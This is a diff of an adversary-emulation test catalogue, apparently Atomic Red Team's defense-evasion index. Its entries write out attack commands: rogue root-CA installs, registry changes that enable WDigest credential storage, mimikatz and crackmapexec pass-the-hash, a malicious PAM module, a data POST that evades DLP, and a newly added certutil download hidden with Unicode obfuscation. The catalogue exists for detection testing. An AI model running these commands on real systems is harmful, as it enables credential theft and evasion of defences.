description: 'Creates a root CA with openssl -' + ' supported_platforms: - linux input_arguments: @@ -28303,7 +28303,7 @@ defense-evasion: auto_generated_guid: 53bcf8a0-1549-4b85-b919-010c56d724ff description: 'Creates a root CA with openssl -' + ' supported_platforms: - linux input_arguments: @@ -28319,10 +28319,10 @@ defense-evasion: dependencies: - description: 'Verify the certificate exists. It generates if not on disk. -' + ' prereq_command: 'if [ -f #{cert_filename} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: | if [ ! -f #{key_filename} ]; then openssl genrsa -out #{key_filename} 4096; fi; openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename} @@ -28336,7 +28336,7 @@ defense-evasion: auto_generated_guid: cc4a0b8c-426f-40ff-9426-4e10e5bf4c49 description: 'Creates a root CA with openssl -' + ' supported_platforms: - macos input_arguments: @@ -28352,10 +28352,10 @@ defense-evasion: dependencies: - description: 'Verify the certificate exists. It generates if not on disk. -' + ' prereq_command: 'if [ -f #{cert_filename} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: | if [ ! -f #{key_filename} ]; then openssl genrsa -out #{key_filename} 4096; fi; openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename} @@ -28363,14 +28363,14 @@ defense-evasion: command: 'sudo security add-trusted-cert -d -r trustRoot -k "/Library/Keychains/System.keychain" "#{cert_filename}" -' + ' name: sh elevation_required: true - name: Install root CA on Windows auto_generated_guid: 76f49d86-5eb1-461a-a032-a480f86652f1 description: 'Creates a root CA with Powershell -' + ' supported_platforms: - windows input_arguments: @@ -28382,10 +28382,10 @@ defense-evasion: dependencies: - description: 'Verify the certificate exists. It generates if not on disk. -' + ' prereq_command: 'if (Test-Path #{pfx_path}) { exit 0 } else { exit 1 } -' + ' get_prereq_command: | $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My Export-Certificate -Type CERT -Cert Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path} @@ -28409,7 +28409,7 @@ defense-evasion: auto_generated_guid: 5fdb1a7a-a93c-4fbe-aa29-ddd9ef94ed1f description: 'Creates a root CA with certutil -' + ' supported_platforms: - windows input_arguments: @@ -28421,10 +28421,10 @@ defense-evasion: dependencies: - description: 'Certificate must exist at specified location (#{pfx_path}) -' + ' prereq_command: 'if (Test-Path #{pfx_path}) { exit 0 } else { exit 1 } -' + ' get_prereq_command: | $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My Export-Certificate -Type CERT -Cert Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path} @@ -28432,7 +28432,7 @@ defense-evasion: executor: command: 'certutil -addstore my #{pfx_path} -' + ' cleanup_command: | $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore @@ -28519,10 +28519,10 @@ defense-evasion: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) -' + ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" @@ -28587,10 +28587,10 @@ defense-evasion: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) -' + ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" @@ -28633,7 +28633,7 @@ defense-evasion: description: 'Executes the installer assembly class constructor. Upon execution, version information will be displayed the .NET framework install utility. -' + ' supported_platforms: - windows input_arguments: @@ -28658,10 +28658,10 @@ defense-evasion: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) -' + ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" @@ -28704,7 +28704,7 @@ defense-evasion: description: 'Executes the Install Method. Upon execution, version information will be displayed the .NET framework install utility. -' + ' supported_platforms: - windows input_arguments: @@ -28729,10 +28729,10 @@ defense-evasion: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) -' + ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" @@ -28775,7 +28775,7 @@ defense-evasion: description: 'Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility. -' + ' supported_platforms: - windows input_arguments: @@ -28800,10 +28800,10 @@ defense-evasion: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) -' + ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" @@ -28847,7 +28847,7 @@ defense-evasion: description: 'Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility. -' + ' supported_platforms: - windows input_arguments: @@ -28872,10 +28872,10 @@ defense-evasion: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) -' + ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" @@ -28918,7 +28918,7 @@ defense-evasion: description: 'Executes the Uninstall Method. Upon execution, help information will be displayed for InstallUtil. -' + ' supported_platforms: - windows input_arguments: @@ -28943,10 +28943,10 @@ defense-evasion: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) -' + ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" @@ -29000,10 +29000,10 @@ defense-evasion: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) -' + ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" @@ -29185,7 +29185,7 @@ defense-evasion: description: 'Changes a file or folder''s permissions using chmod and a specified numeric mode. -' + ' supported_platforms: - macos - linux @@ -29201,14 +29201,14 @@ defense-evasion: executor: command: 'chmod #{numeric_mode} #{file_or_folder} -' + ' name: bash - name: chmod - Change file or folder mode (symbolic mode) auto_generated_guid: fc9d6695-d022-4a80-91b1-381f5c35aff3 description: 'Changes a file or folder''s permissions using chmod and a specified symbolic mode. -' + ' supported_platforms: - macos - linux @@ -29224,14 +29224,14 @@ defense-evasion: executor: command: 'chmod #{symbolic_mode} #{file_or_folder} -' + ' name: bash - name: chmod - Change file or folder mode (numeric mode) recursively auto_generated_guid: ea79f937-4a4d-4348-ace6-9916aec453a4 description: 'Changes a file or folder''s permissions recursively using chmod and a specified numeric mode. -' + ' supported_platforms: - macos - linux @@ -29247,14 +29247,14 @@ defense-evasion: executor: command: 'chmod -R #{numeric_mode} #{file_or_folder} -' + ' name: bash - name: chmod - Change file or folder mode (symbolic mode) recursively auto_generated_guid: 0451125c-b5f6-488f-993b-5a32b09f7d8f description: 'Changes a file or folder''s permissions recursively using chmod and a specified symbolic mode. -' + ' supported_platforms: - macos - linux @@ -29270,14 +29270,14 @@ defense-evasion: executor: command: 'chmod -R #{symbolic_mode} #{file_or_folder} -' + ' name: bash - name: chown - Change file or folder ownership and group auto_generated_guid: d169e71b-85f9-44ec-8343-27093ff3dfc0 description: 'Changes a file or folder''s ownership and group information using chown. -' + ' supported_platforms: - macos - linux @@ -29297,14 +29297,14 @@ defense-evasion: executor: command: 'chown #{owner}:#{group} #{file_or_folder} -' + ' name: bash - name: chown - Change file or folder ownership and group recursively auto_generated_guid: b78598be-ff39-448f-a463-adbf2a5b7848 description: 'Changes a file or folder''s ownership and group information recursively using chown. -' + ' supported_platforms: - macos - linux @@ -29324,13 +29324,13 @@ defense-evasion: executor: command: 'chown -R #{owner}:#{group} #{file_or_folder} -' + ' name: bash - name: chown - Change file or folder mode ownership only auto_generated_guid: 967ba79d-f184-4e0e-8d09-6362b3162e99 description: 'Changes a file or folder''s ownership only using chown. -' + ' supported_platforms: - macos - linux @@ -29346,13 +29346,13 @@ defense-evasion: executor: command: 'chown #{owner} #{file_or_folder} -' + ' name: bash - name: chown - Change file or folder ownership recursively auto_generated_guid: 3b015515-b3d8-44e9-b8cd-6fa84faf30b2 description: 'Changes a file or folder''s ownership only recursively using chown. -' + ' supported_platforms: - macos - linux @@ -29368,7 +29368,7 @@ defense-evasion: executor: command: 'chown -R #{owner} #{file_or_folder} -' + ' name: bash - name: chattr - Remove immutable file attribute auto_generated_guid: e7469fe2-ad41-4382-8965-99b94dd3c13f @@ -29386,7 +29386,7 @@ defense-evasion: executor: command: 'chattr -i #{file_to_modify} -' + ' name: sh T1078.003: technique: @@ -29510,7 +29510,7 @@ defense-evasion: C# project example file (T1127.001.csproj) will simply print "Hello From a Code Fragment" and "Hello From a Class." to the screen. -' + ' supported_platforms: - windows input_arguments: @@ -29530,10 +29530,10 @@ defense-evasion: dependencies: - description: 'Project file must exist on disk at specified location (#{filename}) -' + ' prereq_command: 'if (Test-Path #{filename}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/T1127.001.csproj" -OutFile "#{filename}" @@ -29546,7 +29546,7 @@ defense-evasion: Visual Basic example file (vb.xml) will simply print "Hello from a Visual Basic inline task!" to the screen. -' + ' supported_platforms: - windows input_arguments: @@ -29566,10 +29566,10 @@ defense-evasion: dependencies: - description: 'Project file must exist on disk at specified location (#{filename}) -' + ' prereq_command: 'if (Test-Path #{filename}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/vb.xml" -OutFile "#{filename}" @@ -29692,7 +29692,7 @@ defense-evasion: Red Team repo, and mount the image. The provided sample ISO simply has a Reports shortcut file in it. Reference: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/ -' + ' supported_platforms: - windows input_arguments: @@ -29704,20 +29704,20 @@ defense-evasion: dependencies: - description: 'T1553.005.iso must exist on disk at specified location (#{path_of_iso}) -' + ' prereq_command: 'if (Test-Path #{path_of_iso}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{path_of_iso}) -ErrorAction ignore | Out-Null Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/T1553.005.iso -OutFile "#{path_of_iso}" executor: command: 'Mount-DiskImage -ImagePath "#{path_of_iso}" -' + ' cleanup_command: 'Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null -' + ' name: powershell - name: Mount an ISO image and run executable from the ISO auto_generated_guid: 42f22b00-0242-4afc-a61b-0da05041f9cc @@ -29739,10 +29739,10 @@ defense-evasion: dependencies: - description: 'FeelTheBurn.iso must exist on disk at specified location (#{path_of_iso}) -' + ' prereq_command: 'if (Test-Path #{path_of_iso}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{path_of_iso}) -ErrorAction ignore | Out-Null Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/FeelTheBurn.iso -OutFile "#{path_of_iso}" @@ -29776,18 +29776,18 @@ defense-evasion: - description: A test file with the Zone.Identifier attribute must be present. prereq_command: 'if (Test-Path #{file_path}) { EXIT 0 } else { EXIT 1 } -' + ' get_prereq_command: | Invoke-WebRequest #{file_to_download} -OutFile #{file_path} Set-Content -Path #{file_path} -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3' executor: command: 'Unblock-File -Path #{file_path} -' + ' cleanup_command: 'Set-Content -Path #{file_path} -Stream Zone.Identifier -Value ''[ZoneTransfer]'',''ZoneId=3'' -' + ' name: powershell T1036.004: technique: @@ -29863,7 +29863,7 @@ defense-evasion: schtasks /query /tn win32times cleanup_command: 'schtasks /tn win32times /delete /f -' + ' name: command_prompt elevation_required: true - name: Creating W32Time similar named service using sc @@ -29878,7 +29878,7 @@ defense-evasion: sc qc win32times cleanup_command: 'sc delete win32times -' + ' name: command_prompt elevation_required: true T1036: @@ -30028,7 +30028,7 @@ defense-evasion: description: 'Create and execute a process from a directory masquerading as the current parent directory (`...` instead of normal `..`) -' + ' supported_platforms: - macos - linux @@ -30277,11 +30277,11 @@ defense-evasion: command: 'reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /t REG_DWORD /v HideFileExt /d 1 /f -' + ' cleanup_command: 'reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /f >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: Modify Registry of Local Machine - cmd @@ -30301,11 +30301,11 @@ defense-evasion: command: 'reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /t REG_EXPAND_SZ /v SecurityHealth /d #{new_executable} /f -' + ' cleanup_command: 'reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /f >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: Modify registry to store logon credentials @@ -30320,11 +30320,11 @@ defense-evasion: command: 'reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f -' + ' cleanup_command: 'reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: Add domain to Trusted sites Zone @@ -30365,11 +30365,11 @@ defense-evasion: command: 'New-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" -Name T1112 -Value "''" -' + ' name: command_prompt T1218.007: technique: @@ -30871,7 +30871,7 @@ defense-evasion: description: 'Execute arbitrary MSI file. Commonly seen in application installation. The MSI opens notepad.exe when sucessfully executed. -' + ' supported_platforms: - windows input_arguments: @@ -30883,17 +30883,17 @@ defense-evasion: dependencies: - description: 'T1218.msi must exist on disk at specified location (#{msi_payload}) -' + ' prereq_command: 'if (Test-Path #{msi_payload}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Write-Host "You must provide your own MSI" -' + ' executor: command: 'msiexec.exe /q /i "#{msi_payload}" -' + ' name: command_prompt - name: Msiexec.exe - Execute Remote MSI file auto_generated_guid: bde7d2fe-d049-458d-a362-abda32a7e649 @@ -30901,7 +30901,7 @@ defense-evasion: in application installation, commonly seen in malware execution. The MSI opens notepad.exe when sucessfully executed. -' + ' supported_platforms: - windows input_arguments: @@ -30912,7 +30912,7 @@ defense-evasion: executor: command: 'msiexec.exe /q /i "#{msi_payload}" -' + ' name: command_prompt - name: Msiexec.exe - Execute Arbitrary DLL auto_generated_guid: 66f64bd5-7c35-4c24-953a-04ca30a0a0ec @@ -30931,17 +30931,17 @@ defense-evasion: dependencies: - description: 'T1218.dll must exist on disk at specified location (#{dll_payload}) -' + ' prereq_command: 'if (Test-Path #{dll_payload}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/x64/T1218.dll" -OutFile "#{dll_payload}" executor: command: 'msiexec.exe /y "#{dll_payload}" -' + ' name: command_prompt T1564.004: technique: @@ -31081,7 +31081,7 @@ defense-evasion: Start-Process -FilePath "$env:comspec" -ArgumentList "/c,type,#{payload_path},>,`"#{ads_file_path}:#{ads_name}`"" cleanup_command: 'Remove-Item "#{ads_file_path}" -Force -ErrorAction Ignore -' + ' name: powershell - name: Create ADS command prompt auto_generated_guid: 17e7637a-ddaf-4a82-8622-377e20de8fdb @@ -31105,7 +31105,7 @@ defense-evasion: for /f "usebackq delims=?" %i in (#{file_name}:#{ads_filename}) do %i cleanup_command: 'del #{file_name} >nul 2>&1 -' + ' name: command_prompt - name: Create ADS PowerShell auto_generated_guid: 0045ea16-ed3c-4d4c-a9ee-15e44d1560d1 @@ -31127,13 +31127,13 @@ defense-evasion: dependencies: - description: 'The file must exist on disk at specified location (#{file_name}) -' + ' prereq_command: 'if (Test-Path #{file_name}) { exit 0 } else { exit 1 } -' + ' get_prereq_command: 'New-Item -Path #{file_name} | Out-Null -' + ' executor: command: | echo "test" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value "test" @@ -31141,7 +31141,7 @@ defense-evasion: set-content -path . -stream #{ads_filename} -value "test3" cleanup_command: 'Remove-Item -Path #{file_name} -ErrorAction Ignore -' + ' name: powershell T1599.001: technique: @@ -31350,7 +31350,7 @@ defense-evasion: auto_generated_guid: 14c38f32-6509-46d8-ab43-d53e32d2b131 description: 'Add a Network Share utilizing the command_prompt -' + ' supported_platforms: - windows input_arguments: @@ -31367,7 +31367,7 @@ defense-evasion: auto_generated_guid: '09210ad5-1ef2-4077-9ad3-7351e13e9222' description: 'Removes a Network Share utilizing the command_prompt -' + ' supported_platforms: - windows input_arguments: @@ -31378,13 +31378,13 @@ defense-evasion: executor: command: 'net share #{share_name} /delete -' + ' name: command_prompt - name: Remove Network Share PowerShell auto_generated_guid: 0512d214-9512-4d22-bde7-f37e058259b3 description: 'Removes a Network Share utilizing PowerShell -' + ' supported_platforms: - windows input_arguments: @@ -31528,7 +31528,6 @@ defense-evasion: auto_generated_guid: f45df6be-2e1e-4136-a384-8f18ab3826fb description: | Creates a base64-encoded data file and decodes it into an executable shell script - Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that stdouts `echo Hello from the Atomic Red Team`. supported_platforms: - macos @@ -31544,7 +31543,6 @@ defense-evasion: auto_generated_guid: a50d5a97-2531-499e-a1de-5544c74432c6 description: | Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools. - Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!" supported_platforms: - windows @@ -31565,7 +31563,6 @@ defense-evasion: auto_generated_guid: 450e7218-7915-4be4-8b9b-464a49eafcec description: | Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools. - Upon successful execution, powershell will execute encoded command and read/write from the registry. supported_platforms: - windows @@ -31594,14 +31591,14 @@ defense-evasion: cleanup_command: 'Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage} -' + ' name: powershell - name: Execution from Compressed File auto_generated_guid: f8c8a909-5f29-49ac-9244-413936ce6d1f description: 'Mimic execution of compressed executable. When successfully executed, calculator.exe will open. -' + ' supported_platforms: - windows input_arguments: @@ -31613,11 +31610,11 @@ defense-evasion: dependencies: - description: 'T1027.exe must exist on disk at $env:temp\temp_T1027.zip\T1027.exe -' + ' prereq_command: 'if (Test-Path $env:temp\temp_T1027.zip\T1027.exe) {exit 0} else {exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "#{url_path}" -OutFile "$env:temp\T1027.zip" @@ -31625,7 +31622,7 @@ defense-evasion: executor: command: '"%temp%\temp_T1027.zip\T1027.exe" -' + ' cleanup_command: | taskkill /f /im calculator.exe >nul 2>nul rmdir /S /Q %temp%\temp_T1027.zip >nul 2>nul @@ -31659,7 +31656,7 @@ defense-evasion: command: 'Send-MailMessage -From #{sender} -To #{receiver} -Subject ''T1027_Atomic_Test'' -Attachments #{input_file} -SmtpServer #{smtp_server} -' + ' name: powershell - name: DLP Evasion via Sensitive Data in VBA Macro over HTTP auto_generated_guid: e2d85e66-cb66-4ed7-93b1-833fc56c9319 @@ -31680,7 +31677,7 @@ defense-evasion: executor: command: 'Invoke-WebRequest -Uri #{ip_address} -Method POST -Body #{input_file} -' + ' name: powershell - name: Obfuscated Command in PowerShell auto_generated_guid: 8b3f4ed6-077b-4bdd-891c-2d237f19410f @@ -31688,7 +31685,7 @@ defense-evasion: "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary. -' + ' supported_platforms: - windows executor: @@ -31699,8 +31696,34 @@ defense-evasion: 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .(''%'') { ( [CHAR] ( $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) ) -' + ' name: powershell + - name: Obfuscated Command Line using special Unicode characters + auto_generated_guid: e68b945c-52d0-4dd9-a5e8-d173d70c448f + description: | + This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters). + Reference: + https://wietze.github.io/blog/windows-command-line-obfuscation + supported_platforms: + - windows + input_arguments: + remote_file: + description: URL of file to copy + type: Url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt + local_path: + description: Local path to place file + type: Path + default: Atomic-license.txt + executor: + command: 'cmd /c certutil —ૹu૰rlࢰca࣢c෯he –‮spli؅t‮‭ −"൏ᶠ൸" #{remote_file} + #{local_path} + + ' + cleanup_command: 'del #{local_path} >nul 2>&1 + + ' + name: command_prompt T1218.008: technique: id: attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071 @@ -31770,7 +31793,7 @@ defense-evasion: auto_generated_guid: 2430498b-06c0-4b92-a448-8ad263c388e2 description: 'Execute arbitrary DLL file stored locally. -' + ' supported_platforms: - windows input_arguments: @@ -31782,17 +31805,17 @@ defense-evasion: dependencies: - description: 'T1218-2.dll must exist on disk at specified location (#{dll_payload}) -' + ' prereq_command: 'if (Test-Path #{dll_payload}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}" executor: command: 'odbcconf.exe /S /A {REGSVR "#{dll_payload}"} -' + ' name: command_prompt T1134.004: technique: @@ -31905,10 +31928,10 @@ defense-evasion: dependencies: - description: 'DLL to inject must exist on disk at specified location (#{dll_path}) -' + ' prereq_command: 'if (Test-Path #{dll_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{dll_path}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll" -OutFile "#{dll_path}" @@ -31949,7 +31972,7 @@ defense-evasion: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine ''#{command_line}'' -ParentId #{parent_pid}' @@ -31978,7 +32001,7 @@ defense-evasion: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Start-ATHProcessUnderSpecificParent -ParentId #{parent_pid} -TestGuid #{test_guid}' @@ -32008,7 +32031,7 @@ defense-evasion: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter "Name = ''svchost.exe'' AND CommandLine LIKE ''%''" | @@ -32044,7 +32067,7 @@ defense-evasion: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine ''#{command_line}''' @@ -32129,7 +32152,7 @@ defense-evasion: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) -' + ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} @@ -32144,13 +32167,13 @@ defense-evasion: command: '#{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}" -' + ' name: command_prompt - name: crackmapexec Pass the Hash auto_generated_guid: eb05b028-16c8-4ad8-adea-6f5b219da9a9 description: 'command execute with crackmapexec -' + ' supported_platforms: - windows input_arguments: @@ -32179,18 +32202,18 @@ defense-evasion: - description: 'CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe}) -' + ' prereq_command: 'if(Test-Path #{crackmapexec_exe}) { 0 } else { -1 } -' + ' get_prereq_command: 'Write-Host Automated installer not implemented yet, please install crackmapexec manually at this location: #{crackmapexec_exe} -' + ' executor: command: 'crackmapexec #{domain} -u #{user_name} -H #{ntlm} -x #{command} -' + ' name: command_prompt T1550.003: technique: @@ -32269,7 +32292,7 @@ defense-evasion: auto_generated_guid: dbf38128-7ba7-4776-bedf-cc2eed432098 description: 'Similar to PTH, but attacking Kerberos -' + ' supported_platforms: - windows input_arguments: @@ -32289,10 +32312,10 @@ defense-evasion: dependencies: - description: 'Mimikatz must exist on disk at specified location (#{mimikatz_exe}) -' + ' prereq_command: 'if (Test-Path #{mimikatz_exe}) {exit 0} else {exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href @@ -32371,7 +32394,7 @@ defense-evasion: description: 'Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges. -' + ' supported_platforms: - windows input_arguments: @@ -32384,14 +32407,14 @@ defense-evasion: - description: 'AtomicPasswordFilter.dll must exist on disk at specified location (#{input_dll}) -' + ' prereq_command: 'if (Test-Path #{input_dll}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Write-Host "You must provide your own password filter dll" -' + ' executor: command: | $passwordFilterName = (Copy-Item "#{input_dll}" -Destination "C:\Windows\System32" -PassThru).basename @@ -32813,10 +32836,10 @@ defense-evasion: elevation_required: true command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} -' + ' cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf} -' + ' - name: Malicious PAM module auto_generated_guid: 65208808-3125-4a2e-8389-a0a00e9ab326 description: | @@ -32850,35 +32873,35 @@ defense-evasion: - description: 'The PAM development library must be installed to build the PAM module -' + ' prereq_command: 'if [ -f /usr/include/security/pam_modules.h ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'if [ -n "`which apt-get`" ]; then sudo apt-get -y install libpam0g-dev; elif [ -n "`which yum`" ]; then sudo yum -y install pam-devel; fi -' + ' - description: 'The PAM module must exist on disk at specified location (#{path_to_pam_module}) -' + ' prereq_command: 'if [ -f #{path_to_pam_module} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'sudo gcc -shared -fPIC -o #{path_to_pam_module} #{path_to_pam_module_source} -' + ' executor: name: sh elevation_required: true command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} -' + ' cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf} -' + ' T1205.001: technique: external_references: @@ -33315,13 +33338,13 @@ defense-evasion: cleanup_command: 'Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore -' + ' name: powershell - name: RunPE via VBA auto_generated_guid: 3ad4a037-1598-4136-837c-4027e4fa319b description: 'This module executes notepad.exe from within the WINWORD.EXE process -' + ' supported_platforms: - windows input_arguments: @@ -33333,7 +33356,7 @@ defense-evasion: dependencies: - description: 'Microsoft #{ms_product} must be installed -' + ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null @@ -33344,7 